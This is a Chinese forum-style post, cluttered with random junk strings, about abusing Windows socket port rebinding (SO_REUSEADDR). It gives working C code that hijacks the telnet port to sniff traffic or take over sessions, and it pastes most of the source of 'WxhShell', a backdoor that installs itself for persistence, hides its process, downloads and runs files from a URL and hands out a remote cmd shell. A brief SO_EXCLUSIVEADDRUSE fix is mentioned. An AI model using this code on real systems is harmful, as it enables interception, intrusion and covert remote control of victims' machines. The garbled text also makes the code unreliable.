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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >4VU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $Us@fJr kg61Dgu saddr.sin_family = AF_INET; ;`+RSr^8$ Pz)QOrrG~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); M$?6
' 5ya3mNE bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nn
x2B"%3th0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C&st7.
(k -#o+x Jj 这意味着什么?意味着可以进行如下的攻击: $oQsh|sTI 6P~"7k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hHg
gH4T &59#$LyH`% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6^aYW#O<Ua *~cs8<.!1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e>>G4g ICTtubjV" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 bSR<d [s34N+vU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0B4(t6o wW<"l"x, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 < t (Pw ?|8Tgs@+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q5!l(QL. n>0dz# #include @r]s9~Lx9 #include 48ma&f; #include 0oJ^a^| #include 7qUtsDK DWORD WINAPI ClientThread(LPVOID lpParam); nMa^Eq# int main() r:5Ve&~ { Vtg/,1KQ WORD wVersionRequested; /2cI{]B DWORD ret; .fsk DW WSADATA wsaData; eq+o_R}CS BOOL val; }J?fJ( SOCKADDR_IN saddr; '*XNgvX SOCKADDR_IN scaddr; Q Bw
ZfX int err; \l:g{GnoT SOCKET s; 0xxzhlKNL SOCKET sc; A]+h<Y~} int caddsize; @NNLzqqY HANDLE mt; >h[!gXL^ DWORD tid; N
Sh.g# wVersionRequested = MAKEWORD( 2, 2 ); B
R:
err = WSAStartup( wVersionRequested, &wsaData ); xs I/DW if ( err != 0 ) { mCt>s9a)H printf("error!WSAStartup failed!\n"); 7L+X\oaB return -1; BXo|CITso } Qkib;\2 saddr.sin_family = AF_INET; Wh Zaq ?Bzi#Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tvOAN|+F G; [AQ:Iy saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UBi4 itGD saddr.sin_port = htons(23); $vLV<
y07 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,/:a77 { bQy%$7UmX, printf("error!socket failed!\n");
U+"= return -1; `zp2;]W } B-~&6D, val = TRUE; !ix<|F5 //SO_REUSEADDR选项就是可以实现端口重绑定的 IOkC [([ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w;EXjl;X O { GeaDaYh#T printf("error!setsockopt failed!\n"); (<3lo
ZaX return -1; lZM3Q58?\ } DjzUH{6O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )6Q0f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~snF20 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PS(j)I3 S9NN.dKu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m_$I?F0 { b!X"2' ret=GetLastError(); EOX_[ek7 printf("error!bind failed!\n"); GWInN8.5 return -1; ZGpTw[5ql } qysa!B listen(s,2); 3Y{)(%I while(1) kLVn(dC " { paNw5]
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caddsize = sizeof(scaddr); HS:}![P //接受连接请求 U[QD! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aoDD&JE if(sc!=INVALID_SOCKET) 7+a%ehwU { F> QT| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "Wk{ 4gS7l if(mt==NULL) r^A#[-VyNP { *fl{Y(_OO printf("Thread Creat Failed!\n"); 6#)Jl break; T_x+sv=|X! } WYC1rfd= } As+;qNO CloseHandle(mt); N
2"3~ # } vzcBo% closesocket(s); uR;-eK WSACleanup(); l-S'ATZ0p return 0; T5azYdzJy } QG|GXp_q` DWORD WINAPI ClientThread(LPVOID lpParam) ls24ccOs { l^!A SOCKET ss = (SOCKET)lpParam; -#wVtXaSc SOCKET sc; ZjZh z` unsigned char buf[4096]; 6"i{P SOCKADDR_IN saddr; :Jeo_}e 0 long num; @mx$sNDkL DWORD val; \$'m^tVU DWORD ret; 7y)=#ZG'R //如果是隐藏端口应用的话,可以在此处加一些判断 x$n~f:1Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 7<:Wq=e!r saddr.sin_family = AF_INET; A6N~UV*_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AzW7tp;t= saddr.sin_port = htons(23); qEJ8o.D-= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F@$RV_M {
_@!QY
printf("error!socket failed!\n"); Hs%QEvZl return -1; ``$%L=_m } M%&A.j[ val = 100; KR=d"t Qw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2]D$|M?$~ { /c@*eU ret = GetLastError(); =zm0w~']E! return -1; V3mjbH>F } ;tp]^iB# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sLG>>d3R1 { @0z0m;8 ret = GetLastError(); #P%1{l5m return -1; I
f3{E } A~SL5h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +_X,uvR { #Pu@Wx printf("error!socket connect failed!\n"); AU)1vx(\w closesocket(sc); zg#m09[4 closesocket(ss); 7G.o@p6$ return -1; \\S/NA } fey*la Xq while(1) #0bO)m+NZ { 7}ws
|4Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZU|6jI} //如果是嗅探内容的话,可以再此处进行内容分析和记录 dP$8JI{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )'[x)q num = recv(ss,buf,4096,0); %j'G.*TD if(num>0) #2PrGz]
send(sc,buf,num,0); rGnI( m. else if(num==0) [1b6#I"x break;
u>}w- num = recv(sc,buf,4096,0); U g}8y8
if(num>0) M3Khc#5S( send(ss,buf,num,0); P+dA~2k else if(num==0) 9-
xlvU,o break; mRhd/|g* } Zc'|!pT _ closesocket(ss); 6<x~Mk'u) closesocket(sc); gA~20LSt return 0 ; K(nS$x1G } DX}B0B m'cz5mcD #l*a~^dhqC ========================================================== o84UFhm $#%U\mIz 下边附上一个代码,,WXhSHELL [%@2o< 4q>7OB:e ========================================================== (O\U /daB gi6g"~%@q1 #include "stdafx.h" Deg!<[Nw 6'xomRpYN #include <stdio.h> B7!<{i #include <string.h> GE1i+.+-. #include <windows.h> /g_9m #include <winsock2.h> -S"5{ N73 #include <winsvc.h> X E|B)Q( #include <urlmon.h> #`W=mN(+k S6v!GQ #pragma comment (lib, "Ws2_32.lib") I eG=J4:* #pragma comment (lib, "urlmon.lib") yND"bF9 o:2Q2+d #define MAX_USER 100 // 最大客户端连接数 D.'h?^kA #define BUF_SOCK 200 // sock buffer JD6aiI!Su #define KEY_BUFF 255 // 输入 buffer ]N*L7AVl E{tx/$f #define REBOOT 0 // 重启 v" }WP34 #define SHUTDOWN 1 // 关机 G&q'#3ieC 1/B]TT #define DEF_PORT 5000 // 监听端口 'E4AV58. eR:b=%T8 #define REG_LEN 16 // 注册表键长度 opsQn\4DZ? #define SVC_LEN 80 // NT服务名长度 *7ZGq(O dj'm, k
b // 从dll定义API GCDwWCxh typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sw~(uH_l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#j;Tb2&w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _7U]&Nh99 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X1+wX`f J/2j;,8D // wxhshell配置信息 eD%HXGe struct WSCFG { 96d~~2p int ws_port; // 监听端口 -fE.<)m=! char ws_passstr[REG_LEN]; // 口令 /~De2mq1 int ws_autoins; // 安装标记, 1=yes 0=no bEm7QgV{X char ws_regname[REG_LEN]; // 注册表键名 *?/tO,
R? char ws_svcname[REG_LEN]; // 服务名 BZK2$0 char ws_svcdisp[SVC_LEN]; // 服务显示名 C5xag#Z1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 zuSq+pxL@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :0$a.8Y\++ int ws_downexe; // 下载执行标记, 1=yes 0=no tz26=8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Ck\7F?S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E<tK4?i" 0RUi\X4HI }; !b8uLjd; YEv%C|l // default Wxhshell configuration ~#R9i^Y struct WSCFG wscfg={DEF_PORT, "#yJHsu] "xuhuanlingzhe", Ko6^iI1 1, NzQ9Z1Mxy "Wxhshell", : [q0S@ "Wxhshell", nVE9^')8V "WxhShell Service", MtS3p>4 "Wrsky Windows CmdShell Service", S}(8f!9< "Please Input Your Password: ", }GumpT$Xw 1, Mp~y0e " http://www.wrsky.com/wxhshell.exe", kH'p\9= "Wxhshell.exe" y<pnp?x4 }; c.AYxI" ~vHk&r]| // 消息定义模块 7p.>\YtoR} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]1D%zKY%$Z char *msg_ws_prompt="\n\r? for help\n\r#>"; }pVTTs` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; F/p,j0S char *msg_ws_ext="\n\rExit."; =pcF:D#+ char *msg_ws_end="\n\rQuit."; &?0:v`4Y char *msg_ws_boot="\n\rReboot..."; =<c#owe:m char *msg_ws_poff="\n\rShutdown..."; Xa," 'r char *msg_ws_down="\n\rSave to "; !v|FT.
T` O~!T3APGU char *msg_ws_err="\n\rErr!"; fH\X char *msg_ws_ok="\n\rOK!"; $=B8qZ+ 8"%RCE char ExeFile[MAX_PATH]; -'`TL$ int nUser = 0; K_~h*Yc HANDLE handles[MAX_USER]; <[Q3rJ int OsIsNt; *)<B0SjT uI~s8{0T6 SERVICE_STATUS serviceStatus; )[L^Dmd, SERVICE_STATUS_HANDLE hServiceStatusHandle; 0fm*`4Q gn8|/ev // 函数声明 hoM|P8
}rh int Install(void); k1^\| int Uninstall(void); LJFG0 W int DownloadFile(char *sURL, SOCKET wsh); Ej=3/RBsV int Boot(int flag); Tlq-m2] void HideProc(void); YAVy9$N- int GetOsVer(void); W=JAq%yd< int Wxhshell(SOCKET wsl); J@_ctGv void TalkWithClient(void *cs); %'
$o" int CmdShell(SOCKET sock); ujFzJdp3k int StartFromService(void); s&a1y~rv int StartWxhshell(LPSTR lpCmdLine); fpWg R4__ oR .cSGh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Su8|R"qU VOID WINAPI NTServiceHandler( DWORD fdwControl ); FOwnxYGVf {sVY`}p| // 数据结构和表定义 c$:1:B9\ SERVICE_TABLE_ENTRY DispatchTable[] = 0nJE/JZ { S0d~.ah30 {wscfg.ws_svcname, NTServiceMain}, z'7[T ie {NULL, NULL} {2&m`Dbm }; JIm4vS HOoPrB m // 自我安装 (#D*Pl int Install(void) >j*;vG5T { WIr2{+# char svExeFile[MAX_PATH]; Bc7V)YK HKEY key; G7GZDi strcpy(svExeFile,ExeFile); 5| B(\wqG 5|QzU|gPn // 如果是win9x系统,修改注册表设为自启动 R=Zn -q if(!OsIsNt) { 7F^#o-@=J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "9!d]2.-Vk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2I/xJ+ RegCloseKey(key); 0 (U#) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fmyj*)J[Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S4UM|` RegCloseKey(key); t5B7I59 return 0; g{IF_ 1 } z~*g ~RKS! } @"-</x3o } e~l#4{w else { ;U9J++\d<A QaIjLc~W // 如果是NT以上系统,安装为系统服务 Fd]\txOXj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B* kcNlW if (schSCManager!=0) $
_j[2EU { h4|i%,f SC_HANDLE schService = CreateService NLS"eDm ( x5}'7,A schSCManager, <BFQ: wscfg.ws_svcname, M`YWn ; wscfg.ws_svcdisp, ldha|s.* SERVICE_ALL_ACCESS, Tm}rH]F& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XfPFo6 SERVICE_AUTO_START, te|?)j SERVICE_ERROR_NORMAL, d^03"t0O] svExeFile, ncu`vYI. NULL, N;Dp~(1
J1 NULL, Jn:ZYqc NULL, dZ#&YG)?e NULL, {S/yL[S. NULL 6!x&LoM ); 7ELMd{CD if (schService!=0) C%d_@*82 { ;~fT,7qBah CloseServiceHandle(schService); [.se|]t7X CloseServiceHandle(schSCManager); Od+6 -J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [x=jH>Y strcat(svExeFile,wscfg.ws_svcname); <+MyZM(z> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]i(-I <` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L`f^y;Y. RegCloseKey(key); U,#yqER'r return 0; o#) {1<0vg } x:-.+C% } Z4<L$i;/jN CloseServiceHandle(schSCManager); T|J9cgtS } L86n}+
P\ } =_$Qtq+h O[tvR:Nh return 1; Jk@]tAwoM } 7C#`6:tI {3;AwhN0H // 自我卸载 &'cL%. int Uninstall(void) vEf4HZ&w { \(226^|j HKEY key; 8fA_p}wp mxor1P#| if(!OsIsNt) { |*Z$E$k: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lg8nj< TF RegDeleteValue(key,wscfg.ws_regname); zp\8_ U@ RegCloseKey(key); CYOI.#m2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { db'/`JeK
b RegDeleteValue(key,wscfg.ws_regname); 4XVCHs( RegCloseKey(key); !.2<| 24 return 0; 8.F~k~srA } F,
U*yj } @SCI"H%[ } J>fQNW!{ else { ;iDPn2?6?x ::_i@r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fXrXV~'8 if (schSCManager!=0) 93t9^9 { ^u3V
E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f0Bto/,>~ if (schService!=0) LU!dN "[k { U(~+o if(DeleteService(schService)!=0) { &-(463 CloseServiceHandle(schService); 8r3A~ CloseServiceHandle(schSCManager); 3?Y 2L return 0; Ol4+_n8xj } >S$Z CloseServiceHandle(schService); Uj&W<'I } xsWur(> ] CloseServiceHandle(schSCManager); \*=7#Vd } 'SQG>F Uy } (sVi\R nUkaz*4qU return 1; '_|h6<.k[ } !i=nSqW [M+f-kl // 从指定url下载文件 aF03a-qw< int DownloadFile(char *sURL, SOCKET wsh) cuOvN"nuNj { %Uz(Vd#K HRESULT hr; =8U&[F char seps[]= "/"; Q:J^" char *token; >X*Mio8P# char *file; sz9L8f2 char myURL[MAX_PATH]; CI3XzH\IX* char myFILE[MAX_PATH]; `/Y{ l
yf&7P;A strcpy(myURL,sURL); <&)v~-&O
token=strtok(myURL,seps); @&[T _l while(token!=NULL) Y@PI {;! { /x3/Ubmz~x file=token; {Zp\^/ token=strtok(NULL,seps); hYawU@R } L(X6-M: KK@.~'d GetCurrentDirectory(MAX_PATH,myFILE); N!*_La=TuH strcat(myFILE, "\\"); `^lYw:xA strcat(myFILE, file); S_~z-`;h! send(wsh,myFILE,strlen(myFILE),0); Nj("|`9" send(wsh,"...",3,0); >E*$
E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;5@ t[r if(hr==S_OK) qKJSj
return 0; ]9\!;Bz^J else P./VmY' return 1; {3&|tk!* ;NNe!}C } kI%%i>Y} \>Efd // 系统电源模块 /lafve~ int Boot(int flag) y\&>ZyOY { A&>.74}p HANDLE hToken; V2N_8)s9W TOKEN_PRIVILEGES tkp; PfkrOsV/m 28
3H if(OsIsNt) { ~F1:N>>_Cf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !t i6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (%`QhH tkp.PrivilegeCount = 1; k__$Q9qj( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /T.KbLx~q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NV#FvM/#" if(flag==REBOOT) { r-h#{==*c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .L~Nq%g1 return 0; j2 !3rI } cV`E>w=D0 else { RQMEBsI} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JMTvSXr return 0; n8.kE)? } SXt{k<| } Bn!$UUC else { >2By
+/!X if(flag==REBOOT) { _v*
nlc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Z,[|wJ return 0; NH0qVQ@A } , lJv else { JsotOic% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /EG~sRvl} return 0; 3QpYmX<E } HI@syFaJM } DLCkM*' b"TjGE return 1; {aM<{_v } Uo-`>7 pC_O:f>vJ // win9x进程隐藏模块 nVJPR void HideProc(void) Pzb|t+"$ { MCdx?m3] WKSPBT; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "] \+? if ( hKernel != NULL ) mA{~PpSb { [xKd7"d/n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iPrLwheb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N:9>dpP}O FreeLibrary(hKernel); 8|$3OVS } Ka,^OW}<%q B4]`-mahO return; ]~\sA } y9KB< yh/ l9M0cZ, // 获取操作系统版本 <r3J0)r} int GetOsVer(void) JCW\ *R { kHqzt g OSVERSIONINFO winfo; %e@#uxm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pT$f8xJ GetVersionEx(&winfo); r
6Q Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zc?ppO return 1; :f$x Qr4Qz else uB7 V?A return 0; bb
d. } %sRUh0AL N;+[`l // 客户端句柄模块 [{X^c.8G) int Wxhshell(SOCKET wsl) ?:Bv
iF);/ { +[xnZ$Iev SOCKET wsh; (x q% struct sockaddr_in client; _.-;5M- DWORD myID; =r@vc z'`y,8Y 1l while(nUser<MAX_USER) F0690v0mB[ { : g.46dp4 int nSize=sizeof(client); Sua[O$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +\r+n~w if(wsh==INVALID_SOCKET) return 1; 1J'3 g "al`$ %( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }E_#k]#* if(handles[nUser]==0) o`.R!wm:W closesocket(wsh); `N5|Ho*C else h`MF#617 nUser++; A7c/N=Cp^ } pNRk.m] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "gD-8C3 %r+vSGt;5 return 0; F9*g= } p7H3J?`w1+ 5cWw7V<m // 关闭 socket =v*.p=r void CloseIt(SOCKET wsh) z.rh]Zq { rL5z]RY closesocket(wsh); t5lO'Ll*Q] nUser--; C^)*Dsp ExitThread(0); (os$B } zuJtpMn OnWx#84 // 客户端请求句柄 w4LScvBg void TalkWithClient(void *cs) 'L{8@gqi { (@#M!' LjU'z# SOCKET wsh=(SOCKET)cs; Oq3A#6~ char pwd[SVC_LEN]; 4Yl; char cmd[KEY_BUFF]; lHV[Ln`\x char chr[1]; ?i`l[+G int i,j; L_w+y !s@Rok while (nUser < MAX_USER) { ^3hn0DVQ e]Zngt?b if(wscfg.ws_passstr) { al20V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !@'%G6:. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -)~SM& //ZeroMemory(pwd,KEY_BUFF); aAy'\T$x. i=0; |T{C,"9y while(i<SVC_LEN) { #Eb5: ; f>ZyI{ // 设置超时 2[gFkyqe fd_set FdRead; BIj=!! struct timeval TimeOut; _f6HAGDN FD_ZERO(&FdRead); hb{u'= FD_SET(wsh,&FdRead); ~n/
$ TimeOut.tv_sec=8; *SO{\bu TimeOut.tv_usec=0; +t2SzQ j> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V_Wwrhua if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #6!5 2 V#jWege if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F_bF pwd =chr[0]; apk4j\i?5 if(chr[0]==0xd || chr[0]==0xa) { ,<A$h3* pwd=0; .6OgO{P: break; CB&iI' } DI;DECQl$ i++; c"n ?'e } 4 QZ?}iz /\)a // 如果是非法用户,关闭 socket @x/T&67k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N4*G{g } oBUxKisW )a3IQrf= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IL_d:HF|1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;sch>2&ZWU xF8}:z0 while(1) { cVwbg[W] Ys!>+nL| ZeroMemory(cmd,KEY_BUFF); vS;1/->WD F}
d // 自动支持客户端 telnet标准 QORN9SY j=0; ?:Y#Tbi3 while(j<KEY_BUFF) { S!{t6'8K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8?Z4-6!{V, cmd[j]=chr[0]; +w8R!jdA if(chr[0]==0xa || chr[0]==0xd) { y ?G_y cmd[j]=0; E\u#t$ break; .`CZUKG } R<x'l=,D( j++; e:AHVepj{ } _uc\ D
R CDi<<, // 下载文件 *UW=Mdt if(strstr(cmd,"http://")) { S60IPya send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?6!]Nl1gr if(DownloadFile(cmd,wsh)) dSCzx
.c send(wsh,msg_ws_err,strlen(msg_ws_err),0); }oJAB1'k else VB<Jf'NU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t!K*pM } I-agZag% else { OTZ_c1"K 1T)Zh+?)} switch(cmd[0]) { `m.eM !K?qgM // 帮助 y&_m4Zw" case '?': { B??J@+Nf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N S#TW break; !Oi~:Pp } +PK6-c\r // 安装 Rte+(- iL case 'i': { {J5JYdK if(Install()) _p?s9& send(wsh,msg_ws_err,strlen(msg_ws_err),0); FecktD= else D=TL>T.bf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j6(?D*x break; ,i.%nZw\ } xug)aE // 卸载 ~m*,mz case 'r': { d1joVUYE if(Uninstall()) tvd0R$5} send(wsh,msg_ws_err,strlen(msg_ws_err),0); vEQ<A<[Z else gw _$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vB!|\eJ break; _ q(Q } )IT6vU"-yd // 显示 wxhshell 所在路径 &:=$wc case 'p': {
,YhwpkL char svExeFile[MAX_PATH]; , %YBG1E[y strcpy(svExeFile,"\n\r"); I^Z8PEc+ strcat(svExeFile,ExeFile); [_xyl e send(wsh,svExeFile,strlen(svExeFile),0); dGwszziuK break; ]S 7^ITn } nY $tp // 重启 iq*A("pU case 'b': { UofTll) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (qwdQMj` if(Boot(REBOOT)) 6b~28 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:8,niKtw else { l.nH?kK< closesocket(wsh); @
\2#Dpr ExitThread(0); 7-_vY[)/ } woq)\;CK break; 5.tvB } Tp<k<uKD // 关机 bzi|s5!'< case 'd': { pUl8{YGS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BpLEPuu30 if(Boot(SHUTDOWN)) nU`Lhh8y send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%n5nLU` else { f=J<*h closesocket(wsh); 2>em0{e ExitThread(0); 6k?`:QK/sl } >NV=LOO break; /NF# +bx } P%X-@0) // 获取shell o ojiJ~ case 's': { 5(&xNT-n8 CmdShell(wsh); uHNpfKnZ closesocket(wsh); A\te*G0:S ExitThread(0); 8cHE[I break; 3kmeD". } ix Z)tNz // 退出 u}6v?! case 'x': { [FQ\I-GNC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !NKmx=I] CloseIt(wsh); oN(-rWdhZ break; OuIv e>8 } ;K:8#XuV // 离开 !PUp>( case 'q': { ELa ja87 send(wsh,msg_ws_end,strlen(msg_ws_end),0); A[UP"P~u/ closesocket(wsh); TOI4?D] WSACleanup(); lu UYo exit(1); N<z`yV break; |s gXh9%x< } &~5=K } GIHpSy`z } 'PdmI<eXQ '~-IV0v9 // 提示信息 h[XGC=% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6xgv:, } BQ05`nkF } rVAL|0;3 nv5u%B^ return; -+U/Lrt>8 } )WR_
ug 8
|h9sn;P // shell模块句柄 oUW<4l int CmdShell(SOCKET sock) =?0QqCjK) { e9u@`ZC07 STARTUPINFO si; dYOF2si~% ZeroMemory(&si,sizeof(si)); gp|1?L54 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i+M*J#' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %6 =\5> PROCESS_INFORMATION ProcessInfo; :,*eX' fH char cmdline[]="cmd"; 1(`M~vFDK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hhRaJ return 0; >R,?hWT } jOtX
60; DpL8'Dib // 自身启动模式 F!KV\?eM$ int StartFromService(void) I^Qx/uTKw { ]jM^Z.mI+ typedef struct <6N_at3 { T% CxvZ DWORD ExitStatus; [5 pCL0<c@ DWORD PebBaseAddress; W7G9Kx1Y DWORD AffinityMask; E*v]:kok DWORD BasePriority; ,J9}.}Hd ULONG UniqueProcessId; 'UDBV ULONG InheritedFromUniqueProcessId; r25Z`X Z } PROCESS_BASIC_INFORMATION; E;-qP)yU xDrV5bg PROCNTQSIP NtQueryInformationProcess; M$CVQ>op: Q2~5" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! gp}U#Yv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K%,$ V,# uzorLeu HANDLE hProcess; S6 }QFx PROCESS_BASIC_INFORMATION pbi; = hX[ Z6=~1'<X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &`:rp!Lc if(NULL == hInst ) return 0; ~y\:iL//E ^Qh-(u` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K=kH%ZK g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 